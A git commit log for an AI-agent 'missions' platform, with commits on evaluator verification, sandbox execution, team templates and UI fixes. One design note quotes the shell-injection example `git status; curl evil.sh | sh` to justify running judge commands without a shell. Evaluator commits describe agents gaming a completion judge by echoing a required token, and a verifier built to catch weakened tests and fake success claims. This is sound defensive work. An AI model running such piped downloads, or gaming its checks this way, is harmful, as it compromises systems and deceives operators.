The artifacts tab moved to `MissionArtifacts.tsx`. MissionCanvas was 1341 lines
against a 1250 limit BEFORE this change — already failing lint; it is now 1248.
238 backend lib tests, 20 backend test binaries, 89 frontend tests, clean tsc,
clean eslint on every file touched, production build succeeds.
|
||
|
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
5cccd5f58b |
fix(missions): merge phase config instead of replacing it; conditions are per-phase
Two defects in the goal-condition work, both found while tracing a
research->coding mission end to end.
1. Setting a condition silently dropped the recipe's phase config.
phases_for_create treated a caller-supplied config as a wholesale replacement.
The wizard sends {done_when, max_iterations} as the entire config, so every
other recipe key was discarded. Harmless for research_and_code, where nothing
reads `produces` or `default_topology` -- but a conditioned security_hardening
phase lost its `tools` list, which security_scan.rs DOES read, so the scan
would run with nothing configured and report clean. A green security scan that
scanned nothing is the worst possible failure mode for that feature.
The recipe is now the base and the caller's keys override individually.
Shallow merge is deliberate: phase config is a flat settings bag, and a caller
sending `tools: [...]` means to replace the list, not union it. A non-object
override still replaces outright rather than silently picking a side.
2. One condition was applied to every phase.
The wizard had a single mission-level "Done when" that got copied onto all
phases. For research->coding that is actively wrong: "cargo test reported 0
failures" cannot hold while the research phase is running, so research would
burn all its passes and give up before coding ever started. Conditions are now
per phase, keyed by order_idx, with a per-kind placeholder that demonstrates
the rule that actually governs whether a condition works -- it must be
provable from what the agents wrote, because the checker cannot run commands.
Phases with no condition are sent unchanged, so they keep the recipe's
settings and finish in one pass exactly as before.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
fe57ce4ed1 |
feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.
- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
without a condition so unconditioned missions look exactly as before. It
polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.
Two deliberate emphases in the UI:
The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.
The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.
An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
49bcf53b84 |
feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.
Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.
- Mission create derives phases from the recipe when none are sent, and
backfills config per phase (matched on kind+order_idx, then kind) when the
caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
global, because the registry resolves its directory relative to the process
cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
silently producing a mission with no phase config.
Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
285d0c82f2 |
chore: delete dead scaffolding and stop fabricating claw capability cards
Tier 0 of the prompt-ablation pass -- subtraction only, none of this
reached a model.
- cm-brain: drop ClawBrain::export_markdown (zero callers).
- workflows: drop the `task_preamble` keys. No Rust code ever read them --
WorkflowPhase.config is an opaque serde_json::Value -- so the comment
calling the preamble "the belt, the skill the suspenders" described a belt
that was never implemented. (`commit_policy` is unread for the same reason;
left in place as documentation pending a decision.)
- mcp_door: derive the unknown-tool error from EXPOSED_TOOLS. The literal had
drifted to naming one of the three tools the door exposes.
- Dashboard.tsx: drop TEAM_TEMPLATES/COMPANY_TEMPLATES, defined and never
referenced, and disconnected from the real templates/teams/*.toml.
The substantive one: GET /api/claws/{id}/compartments returned hardcoded
strings for tools/capabilities/safety, identical for every claw. Every card
read "Network: none" and "Shell . blocked" regardless of the claw's real
risk_profile -- which is the actual capability boundary, so the card was
most wrong exactly where it mattered, on a coding_readwrite claw that does
have shell. Now derived from the claw's effective risk_profile (its team's
setting, else the same role-derived default the provisioner applies), with
the allowlists mirroring [risk_profiles.*] in the runtime config.
Note: cm-topology/src/heuristics.rs was slated for deletion here as unused.
It is not -- routes/topology.rs:43 serves it and p0_endpoints.rs:302 asserts
it. Left alone.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
0785ac9c79 |
feat(missions): document reader + three-tab IA for the mission page
The mission page made its own output unreadable. Reviewing a research
brief meant scrolling a 300px <pre> nested inside a 260px run box nested
inside the page scroller (plus a 4th scroll region for the description) —
and the text was capped at 6,000 chars server-side with no way to fetch
the rest, so a 53kB brief showed ~11% of itself and silently dropped the
remainder. Eight flat tabs (overview/phases/tasks/team/live/artifacts/
benchmarks/pane) mixed lifecycle, work items, people, telemetry, outputs
and infra at one level, so nothing indicated where the deliverable lived.
Reader:
- GET /api/missions/{id}/documents lists every agent output (titles +
sizes, no bodies); GET .../documents/{run_id}/{index} returns one in
full. Scoped to the mission so a run id from elsewhere can't be read.
- MissionOutputReader: rail (documents grouped by phase) · document ·
outline (headings, click to jump). Exactly one scroll container per
column, never nested. Copy + download .md.
- MarkdownBlock gains fenced code blocks (agent output is full of ```rust,
previously mangled into paragraphs), h4-h6, heading anchors, and an
outlineOf() helper.
Information architecture:
- Three primary tabs with shallow sub-views: RUN (phases/tasks/live) ·
OUTPUT (documents/artifacts/benchmarks) · SETUP (overview/team/pane).
- PhaseRunsList shows a short excerpt with no inner scrollbar and points
at the reader for the full text.
- The header description is clipped, not scrollable; its full text now
has a home in Setup → Overview.
Missions list:
- /api/missions returns MissionListItem — Mission flattened plus
phases_total/phases_done/current_phase, so the JSON stays a strict
superset. Cards render a progress bar and "Coding · 1/2" instead of a
bare status dot.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
9a23c851e0 |
missions: collapse each run turn + collapse phase summary card
- RunOutputPanel: each turn now renders as <details> with a 1-line peek in the summary. First turn open by default (so operators see something without a click), subsequent turns collapsed. Same shape applies to research + coding runs (shared component). - PhaseSummaryCard: click the header to collapse the whole card; narrative peek shows in the collapsed state. State persisted per phase_id in localStorage so it stays remembered across visits. - PhaseSummaryCard Section: cap max height at 280px with internal scroll so long tooling / sources / next-action lists dont blow out the card height. |
||
|
|
c4ecb9baa4 |
missions: collapsible header + scrollable tabs + wrap phase controls
- Mission header title/description now collapsible via chevron next to the title. Persisted in localStorage so it stays hidden across mission switches once the operator has read it — clears more room for phases/tasks/team panels below. - Tabs row: overflow-x auto + per-tab flex:none + whiteSpace:nowrap so 8+ tabs scroll horizontally instead of wrapping and cutting off. - Phase card action row (retry/security/benchmark buttons): flexWrap wrap so long button rows stack cleanly instead of overflowing. - Phase card status row wraps too, and the card itself gets overflow:hidden + minWidth:0 so long content stays inside the border and the parent tab-panel scroll handles vertical growth. |
||
|
|
5c63ef0ed3 |
missions: phase-completion summary card (Claude Opus 4.8 synthesized)
New phase_summarizer background worker fires on any mission_phase
transition to a terminal state (completed/failed). Aggregates every
topology_runs.checkpoint.outputs[] + mission_tasks + mission_artifacts
bound to that phase and asks Claude Opus 4.8 to produce a structured
JSON card:
{ narrative, metrics, sources, tooling, next_actions }
Rendered inline on the mission page under each completed phase via
new PhaseSummaryCard component. Metrics grid is kind-specific:
research surfaces insights/sources/int_cards/artifacts, coding
surfaces cards_picked_up/commits/tests/issues, benchmark surfaces
regressions/improvements, security surfaces findings-by-severity.
New table: mission_phase_summaries (migration 0060), unique per
phase_id — regenerates on retry.
New endpoint: GET /api/missions/{id}/phases/{phase_id}/summary.
Model overridable via CLAWMATES_SUMMARIZER_MODEL. Reuses the
ANTHROPIC_API_KEY prod already carries for mission_refiner.
|
||
|
|
0210f5bf51 |
cleanup(missions): strip refresh debug scaffolding
Removes refreshClicks counter + console.log now that the fetch-hang was root-caused (fetch: cache no-store) and fixed. Keeps the updated-at timestamp indicator as ongoing visual feedback. |
||
|
|
c4e7ca8aa4 |
fix(mission_runtime): seed per-mission gateway with shared pairing state
Fresh mission runtime containers had no ZEROCLAW pairing token so the topology_worker got 401 Unauthorized on WS connect. Mount the shared runtimes /root/clawmates-runtime/data as /zeroclaw-data so the gateway boots pre-paired and accepts the servers ZEROCLAW_TOKEN. Seed dir overridable via CLAWMATES_RUNTIME_SEED_DIR. Known caveat: sqlite sessions dir is shared across concurrent mission runtimes. Fine while topology_worker runs sequentially per mission; next iteration should copy-on-write per-mission. |
||
|
|
827b829993 |
debug(api): log fetch lifecycle for all missions API calls
Adds [api] arrow logs on entry, resolve, and error paths so we can see in devtools console EXACTLY which endpoint hangs and for how long. |
||
|
|
d207c2c043 |
fix(missions): swap cache:no-store for query cache-buster (hang fix)
fetch(url, { cache: no-store }) was hanging forever through the
edge proxy on the mission API endpoints — requests never reached
postgres and the client-side loading state was stuck true, making
Refresh appear broken. Regressed in
|
||
|
|
b7f0b46971 |
debug(missions): loud refresh diagnostic + drop disabled attr
The refresh button was suspected of being inert when loading is
somehow stuck true. Removes disabled and renders a bulletproof
click counter + loading state next to the icon:
clicks:0 · updated 14:05:12 · idle
- clicks bumps SYNCHRONOUSLY in onClick before any await, so a
non-zero counter proves the click event reaches the handler
- console.log fires alongside for devtools verification
- disabled={loading} removed; if load happens to hang, at least
the user can click again to retry
Temporary scaffolding — will collapse once the root cause is clear.
|
||
|
|
d42398d3a8 |
missions: no-store fetch + visible updated-at timestamp on refresh
- api client: cache: no-store so manual Refresh guarantees a fresh server response (was potentially hitting stale HTTP cache). - MissionCanvas: renders "updated HH:MM:SS" next to the refresh button; the timestamp bumps on every successful load so the click is visibly acknowledged even when nothing else on the page changed. |
||
|
|
1e91a19707 |
missions: fix repo checkout for retries + tokenize git.redclaw.dev clones
- mission_orchestrator: run ensure_checkout BEFORE the team_id short-circuit. Previously, a re-launched or retried mission bailed out at the team_id=already-bound guard and skipped repo checkout entirely, so agents ran against an empty workspace. - mission_workspace: inject GITEA_TOKEN into git.redclaw.dev URLs so clone auth works from the server container. Redact any token echoed back on failure. - refresh buttons on MissionCanvas + MissionsList now spin the icon while loading so clicks are visibly acknowledged. - refresh-spinner keyframe added to motion.css. Requires operator on gw-04: sudo chown 65532:65532 /var/lib/clawmates-missions (applied 2026-07-21 pre-commit). |
||
|
|
e2956cdfed |
missions: surface run output on terminal phase runs
Adds GET /api/topology-runs/{id}/output — trimmed view of the
runs checkpoint (totals + per-turn output previews, capped at
12 turns × 6kB each). The full checkpoint blob can be hundreds
of KB so it was never viable to send through mission polling.
Phase card run rows now expose a "show output" toggle for any
terminal run (completed/failed/cancelled), rendering turns,
tokens, records count, and per-turn agent text. Running rows
still get the live activity stream from the prior slice.
Diagnostic value: on a mission that "completed" without visible
work, this immediately shows whether the agents produced real
output (workspace missing / instructions vague / etc.) or
whether nothing ran at all.
|
||
|
|
66e57c5c1c |
missions: live activity stream per running run on phase cards
Adds a "show activity" toggle to any running topology_run row on
the phase card. Expanded rows mount a compact SSE tail from
/api/topology-runs/{id}/events, rendering step/reasoning/tool
events as they arrive — same stream the LIVE tab consumes, just
scoped to one run.
Extracted the phase-runs list into PhaseRunsList to keep
MissionCanvas under the 1250-line budget.
|
||
|
|
94fecb526c |
missions: retry failed phases + auto-purge on re-launch
Every re-attempted phase now starts with a clean slate:
- phase_runner::launch_phase DELETEs prior status IN ('failed',
'cancelled') topology_runs for the phase before enqueuing the
new ones. Completed runs are kept for audit; only the failure
noise from earlier attempts goes.
- POST /api/missions/{id}/phases/{phase_id}/retry — resets a
failed/cancelled phase to 'pending' (auth-scoped to the calling
workspace + guarded on mission.status='running'). phase_runner
picks it up on the next 10s tick.
- MissionCanvas phase card grows a coral 'Retry' button, visible
only when phase.status='failed' and mission.status='running'.
Click → resets + refreshes; the prior failed run rows disappear
from the card as soon as phase_runner enqueues the new attempt.
Design: auto-purge in phase_runner rather than a separate 'clear
failed runs' endpoint. Users don't have to manually clean up before
retrying; the runner does it as part of the natural work of firing
a fresh attempt.
Verified: cargo check + tsc + eslint --quiet all green.
|
||
|
|
f5bba67e38 |
missions: surface per-phase run errors on the phase card
Adds inline failure debugging to the Phases tab. When you see a
phase card marked FAILED, click the collapsed error summary and the
full topology_run.error text expands under it — the exact stack
trace / provider error / whatever the worker recorded.
Backend:
- TopologyRunSummary gains mission_phase_id + team_id + error
fields. list_by_mission SELECT extended; other constructor
(list_recent) explicitly passes None for the new fields.
- GET /api/missions/{id}/runs response now carries all of the
above so the frontend can attribute failures per phase.
Frontend:
- MissionRunSummary type mirrors backend additions.
- MissionCanvas fetches runs alongside mission on load +
auto-refresh; indexes by mission_phase_id in a memoized Map.
- Each phase card renders a per-run row: colored status pill
(running / completed / failed), short run id, finished_at
timestamp. For failed runs, a <details> collapses the error
text — first line as summary, full 4kB in a monospace <pre> on
expand.
Directly unblocks the "phase says Failed but there's no info to
debug" report. Both research and coding phases get this — the code
path is phase-kind-agnostic.
|
||
|
|
eb1df6acde |
launch: accept config.phase_teams as a valid team source
Missions created via the new multi-team wizard have neither team_id
nor team_template_id set — they carry config.phase_teams. Both the
frontend Launch button gate and the backend set_status precondition
were checking only the old two fields, disabling launch for every
new wizard-created mission with a "No team" tooltip.
- MissionCanvas: hasTeam now also returns true when
mission.config.phase_teams has at least one non-empty list.
- routes::missions::set_status: same check on the server so a
direct API caller with only config.phase_teams also gets past
the gate.
Directly unblocks the "we just finished the wizard, Launch is greyed
out" report. Agents materialize AFTER Launch — the button is the
trigger, not a post-condition of creation.
|
||
|
|
f0dd0147f6 |
templates: 5 research team templates + category filtering
Adds the operator's five categorized research team archetypes:
1. codebase_research — code archeologist, architecture mapper,
flow tracer, vault scribe. Produces Obsidian vault entries
under Codebases/<repo>/ that make future missions faster.
2. papers_research — domain scout, paper reader, library curator.
Pulls arXiv / Semantic Scholar / conference proceedings, keeps
a structured local library under Papers/<topic>/.
3. insight_research — implementation tracker, novelty hunter,
publication drafter. Bidirectional loop that spots
publication-worthy novelty in our own implementations of
external papers.
4. continuous_research — signal harvester, ranker, digest writer.
Standing sweep of RSS + arXiv daily + GitHub trending; produces
a rolling ContinuousResearch/<date>/digest.md.
5. continuous_improvement — brain inspector, improvement proposer,
improvement evaluator. Standing self-audit that files level-up
proposals for the operator to review + measures the outcome.
Each template ships with role system_prompts + brain_seeds authored
in the same voice as the existing backend/frontend/etc templates —
evidence-first, redlines called out, no invention.
Schema + code:
- 0057_team_templates_category.sql — new column with
CHECK (research | development | security | ops). Existing rows
default to 'development'.
- team_templates::UpsertBuiltin + TeamTemplate carry category
(with default_category = 'development' fallback for
Serialize/Deserialize compatibility).
- team_template_loader reads `category = "..."` from the TOML;
absent defaults to 'development' so old templates keep working.
- Wizard step 3 filters:
Research teams panel → templates.filter(t.category==='research')
Development teams panel → templates.filter(t.category==='development')
Operator can no longer accidentally pick backend as their
"research team".
Test fixture updated with category="development".
The templates ship in the server image via the existing
`COPY templates /etc/clawmates/templates` line — no Dockerfile
change needed.
|
||
|
|
b8b8cb452e |
missions: multi-team model — pick research + development teams
Directly addresses "we want to pick one or more teams to assign to a
mission, first screen research teams, next screen dev teams." A
mission now materializes N teams, each tagged with a phase purpose.
Backend:
- 0056_mission_teams.sql — new join table
mission_teams(mission_id, team_id, purpose). team_id PK because a
team belongs to one mission-purpose. missions.team_id kept as
legacy pointer to the first minted team for single-team surfaces.
- mission_orchestrator::on_launch — reads mission.config.phase_teams
(JSONB shape { research: [tid,...], coding: [tid,...] }), mints
one team per (purpose, template) pair, records each in
mission_teams, binds the first to mission.team_id. Legacy fallback:
if config.phase_teams is absent, uses missions.team_template_id.
Hard error if both are absent.
- GET /api/missions/{id}/teams — returns
[{ team_id, purpose, team_name }], sorted by created_at asc.
Frontend wizard (step 3 rewrite):
- researchTeamIds / devTeamIds — Set<string> multi-selects
- Reusable TeamMultiSelect component (checkbox-style cards)
- Panels rendered conditionally by preset:
hasResearchPhase → "Research teams" panel
hasCodingPhase → "Development teams" panel
neither → "Teams" panel (bench/security-only missions)
- canNext enforces at least one pick in every visible panel
- submit builds config.phase_teams and passes it via CreateMissionRequest
- Review step shows both selections by name
MissionTeamTab:
- Fetches /api/missions/{id}/teams and groups by purpose
- Each purpose renders a section with per-team cards
- Falls back to a single "mission" pseudo-row for legacy missions
that only have missions.team_id (no mission_teams rows)
CreateMissionRequest no longer sends team_template_id from the wizard
— the multi-team config.phase_teams path supersedes it. The backend
still accepts team_template_id for API callers.
Verified: cargo check --workspace + tsc + eslint --quiet all green.
|
||
|
|
0ee689f590 |
missions: hard-require team template — block empty-team launches
Root-cause fix for the "mission runs with zero agents" bug. Three
enforcement layers now guarantee a launched mission has a team:
1. mission_orchestrator::on_launch — the previous
\`return Ok(None)\` when both team_id and team_template_id are
None is now \`return Err(...)\`. That branch was never a real
"auto-provision later" path; it was a silent no-op that let
the mission flip to running with nothing to run.
2. routes::missions::set_status — the draft→running transition
now (a) rejects with 400 when team_id + team_template_id are
both null, and (b) runs on_launch BEFORE flipping status +
returns 500 on failure. No more orphan "running" missions
with no materialization.
3. MissionWizard step 3 — removed the misleading "LLM
auto-provision" tile (fake code path). First real template is
pre-selected on mount; canNext requires teamTemplateId set;
empty state surfaces a red warning if no templates loaded.
4. MissionCanvas Launch button — disabled with a "No team" label
and explanatory tooltip when the mission has neither team_id
nor team_template_id (defense-in-depth for legacy rows or
direct-API missions).
Also flipped the mission_orchestrator test that expected
Ok(None) → now expects a specific error message.
Prod cleanup: reset the stuck mission
019f814c-d36f-7d60-8915-1ce100683133 (running with team_id=NULL) back
to draft so the operator can delete or attach a template.
Verified: cargo check --workspace + tsc + eslint all green;
mission_orchestrator test updated to match new contract.
|
||
|
|
3ba0485e7d |
mission progress UI: auto-refresh + Team tab + Live events tab
Fills the biggest UX gap surfaced during the deploy walk: hosted
missions had no live-progress surface at all. Now they do.
Auto-refresh:
- MissionCanvas grows a second useEffect that polls getMission
every 3s while mission.status === 'running'. Stops immediately
on terminal state (completed / failed / cancelled). Phases,
Tasks, Artifacts, Benchmarks all update without a manual click.
Team tab (new):
- MissionTeamTab.tsx — fetches /api/teams/{id} + /api/team/claws,
shows a card per member with role slot + an "Open" pill that
calls onOpenClaw(clawId) → Dashboard flips to AGENT tier with
that claw selected, dropping the operator into the existing
ClawCommandCenter surface (WorkingOnNow, ReasoningStream, etc).
Live events tab (new):
- MissionLiveEvents.tsx — polls /api/missions/{id}/runs every 5s
for the topology_runs bound to this mission, opens one
EventSource per active run against /api/topology-runs/{id}/events,
renders as a chronological scrolling feed with per-event kind
pills + per-run short-id badges. Auto-scrolls unless the
operator scrolled up. New runs auto-attach; terminal runs
close cleanly.
Backend:
- cm-db::repo::topology_runs::list_by_mission — SELECT ... FROM
topology_runs WHERE mission_id = $1 ORDER BY created_at DESC.
Uses runtime sqlx::query (not the macro) to avoid a sqlx cache
regen just for this route.
- TopologyRunSummary gains #[derive(Serialize)] + rfc3339 codecs.
- GET /api/missions/{id}/runs — workspace-scoped, returns
{ runs: [...] }.
Dashboard wires onOpenClaw on MissionCanvas → setAgentId + setTier("claw").
Verified: cargo check --workspace + tsc --noEmit + eslint --quiet
all green.
|
||
|
|
cf735312f8 |
mission canvas: cap description height with own scroll
Long refined descriptions (Opus tends to emit full section spines) pushed the tabs + toolbar past the viewport with no way to reach them. Cap the description block at 38vh with its own overflow-y so the header stays reachable no matter how long the brief gets. |